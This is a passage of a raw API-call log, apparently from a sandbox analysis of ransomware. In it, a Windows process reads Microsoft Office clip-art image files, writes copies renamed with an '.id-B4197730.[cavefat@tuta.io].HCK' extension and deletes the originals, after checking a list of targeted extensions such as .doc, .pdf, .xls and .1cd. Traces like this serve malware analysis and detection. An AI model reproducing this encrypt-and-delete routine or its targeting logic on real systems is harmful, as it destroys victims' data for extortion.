68 [0179.950] lstrlenW (lpString=".dbf") returned 4 [0179.950] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.950] lstrlenW (lpString=".1cd") returned 4 [0179.950] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP") returned 68 [0179.950] lstrlenW (lpString=".jpg") returned 4 [0179.950] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.950] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0179.950] lstrlenW (lpString="PH02756U.BMP") returned 12 [0179.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.955] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=197640) returned 1 [0179.955] CloseHandle (hObject=0x2fc) returned 1 [0179.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp")) returned 0x220 [0179.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.966] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.966] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.968] GetLastError () returned 0x0 [0179.968] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x30408, lpOverlapped=0x0) returned 1 [0179.972] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x30410, lpOverlapped=0x0) returned 1 [0179.975] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.975] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.975] SetEndOfFile (hFile=0x300) returned 1 [0179.977] CloseHandle (hObject=0x300) returned 1 [0179.978] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.978] SetEndOfFile (hFile=0x2fc) returned 1 [0179.985] CloseHandle (hObject=0x2fc) returned 1 [0179.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp")) returned 1 [0179.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.994] lstrlenW (lpString=".doc") returned 4 [0179.994] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.994] lstrlenW (lpString=".docx") returned 5 [0179.994] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.994] lstrlenW (lpString=".pdf") returned 4 [0179.994] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.994] lstrlenW (lpString=".xls") returned 4 [0179.994] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.994] lstrlenW (lpString=".xlsx") returned 5 [0179.994] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.994] lstrlenW (lpString=".ppt") returned 4 [0179.994] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.994] lstrlenW (lpString=".zip") returned 4 [0179.994] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.994] lstrlenW (lpString=".rar") returned 4 [0179.994] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.994] lstrlenW (lpString=".bz2") returned 4 [0179.994] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.994] lstrlenW (lpString=".7z") returned 3 [0179.994] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.995] lstrlenW (lpString=".dbf") returned 4 [0179.995] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.995] lstrlenW (lpString=".1cd") returned 4 [0179.995] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.995] lstrlenW (lpString=".jpg") returned 4 [0179.995] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.995] lstrlenW (lpString=".doc") returned 4 [0179.995] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString=".docx") returned 5 [0179.995] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0179.995] lstrlenW (lpString=".pdf") returned 4 [0179.995] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString=".xls") returned 4 [0179.995] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString=".xlsx") returned 5 [0179.995] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0179.995] lstrlenW (lpString=".ppt") returned 4 [0179.995] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.995] lstrlenW (lpString=".zip") returned 4 [0179.995] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString=".rar") returned 4 [0179.995] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString=".bz2") returned 4 [0179.995] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString=".7z") returned 3 [0179.995] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.995] lstrlenW (lpString=".dbf") returned 4 [0179.995] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.995] lstrlenW (lpString=".1cd") returned 4 [0179.995] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP") returned 68 [0179.995] lstrlenW (lpString=".jpg") returned 4 [0179.995] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0179.995] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0179.995] lstrlenW (lpString="PH02810J.JPG") returned 12 [0179.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.999] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=50647) returned 1 [0180.000] CloseHandle (hObject=0x39c) returned 1 [0180.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg")) returned 0x220 [0180.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.008] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.008] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.010] GetLastError () returned 0x0 [0180.010] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xc5d7, lpOverlapped=0x0) returned 1 [0180.015] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xc5e0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xc5e0, lpOverlapped=0x0) returned 1 [0180.016] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.016] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.016] SetEndOfFile (hFile=0x39c) returned 1 [0180.018] CloseHandle (hObject=0x39c) returned 1 [0180.019] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.019] SetEndOfFile (hFile=0x368) returned 1 [0180.022] CloseHandle (hObject=0x368) returned 1 [0180.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg")) returned 1 [0180.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.028] lstrlenW (lpString=".doc") returned 4 [0180.028] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.028] lstrlenW (lpString=".docx") returned 5 [0180.028] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0180.029] lstrlenW (lpString=".pdf") returned 4 [0180.029] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString=".xls") returned 4 [0180.029] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString=".xlsx") returned 5 [0180.029] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0180.029] lstrlenW (lpString=".ppt") returned 4 [0180.029] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.029] lstrlenW (lpString=".zip") returned 4 [0180.029] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString=".rar") returned 4 [0180.029] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString=".bz2") returned 4 [0180.029] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.029] lstrlenW (lpString=".7z") returned 3 [0180.029] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.029] lstrlenW (lpString=".dbf") returned 4 [0180.029] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.029] lstrlenW (lpString=".1cd") returned 4 [0180.029] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.029] lstrlenW (lpString=".jpg") returned 4 [0180.029] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.029] lstrlenW (lpString=".doc") returned 4 [0180.029] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.029] lstrlenW (lpString=".docx") returned 5 [0180.029] lstrcmpiW (lpString1=".docx", lpString2="J.JPG") returned -1 [0180.029] lstrlenW (lpString=".pdf") returned 4 [0180.029] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString=".xls") returned 4 [0180.029] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString=".xlsx") returned 5 [0180.029] lstrcmpiW (lpString1=".xlsx", lpString2="J.JPG") returned -1 [0180.029] lstrlenW (lpString=".ppt") returned 4 [0180.029] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.029] lstrlenW (lpString=".zip") returned 4 [0180.029] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString=".rar") returned 4 [0180.029] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.029] lstrlenW (lpString=".bz2") returned 4 [0180.029] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.029] lstrlenW (lpString=".7z") returned 3 [0180.029] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.029] lstrlenW (lpString=".dbf") returned 4 [0180.030] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.030] lstrlenW (lpString=".1cd") returned 4 [0180.030] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG") returned 68 [0180.030] lstrlenW (lpString=".jpg") returned 4 [0180.030] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.030] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0180.030] lstrlenW (lpString="PH03012U.BMP") returned 12 [0180.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.032] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4118) returned 1 [0180.032] CloseHandle (hObject=0x39c) returned 1 [0180.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp")) returned 0x220 [0180.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.036] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.036] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.040] GetLastError () returned 0x0 [0180.040] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1016, lpOverlapped=0x0) returned 1 [0180.042] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1020, lpOverlapped=0x0) returned 1 [0180.043] ReadFile (in: hFile=0x39c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.043] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.043] SetEndOfFile (hFile=0x370) returned 1 [0180.046] CloseHandle (hObject=0x370) returned 1 [0180.047] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.047] SetEndOfFile (hFile=0x39c) returned 1 [0180.050] CloseHandle (hObject=0x39c) returned 1 [0180.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03012u.bmp")) returned 1 [0180.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.053] lstrlenW (lpString=".doc") returned 4 [0180.053] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0180.053] lstrlenW (lpString=".docx") returned 5 [0180.053] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0180.053] lstrlenW (lpString=".pdf") returned 4 [0180.053] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0180.053] lstrlenW (lpString=".xls") returned 4 [0180.053] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0180.053] lstrlenW (lpString=".xlsx") returned 5 [0180.053] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0180.053] lstrlenW (lpString=".ppt") returned 4 [0180.053] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0180.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.053] lstrlenW (lpString=".zip") returned 4 [0180.053] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString=".rar") returned 4 [0180.054] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString=".bz2") returned 4 [0180.054] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString=".7z") returned 3 [0180.054] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.054] lstrlenW (lpString=".dbf") returned 4 [0180.054] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.054] lstrlenW (lpString=".1cd") returned 4 [0180.054] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.054] lstrlenW (lpString=".jpg") returned 4 [0180.054] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.054] lstrlenW (lpString=".doc") returned 4 [0180.054] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString=".docx") returned 5 [0180.054] lstrcmpiW (lpString1=".docx", lpString2="U.BMP") returned -1 [0180.054] lstrlenW (lpString=".pdf") returned 4 [0180.054] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString=".xls") returned 4 [0180.054] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString=".xlsx") returned 5 [0180.054] lstrcmpiW (lpString1=".xlsx", lpString2="U.BMP") returned -1 [0180.054] lstrlenW (lpString=".ppt") returned 4 [0180.054] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.054] lstrlenW (lpString=".zip") returned 4 [0180.054] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString=".rar") returned 4 [0180.054] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString=".bz2") returned 4 [0180.054] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString=".7z") returned 3 [0180.054] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.054] lstrlenW (lpString=".dbf") returned 4 [0180.054] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 [0180.054] lstrlenW (lpString=".1cd") returned 4 [0180.054] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0180.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03012U.BMP") returned 68 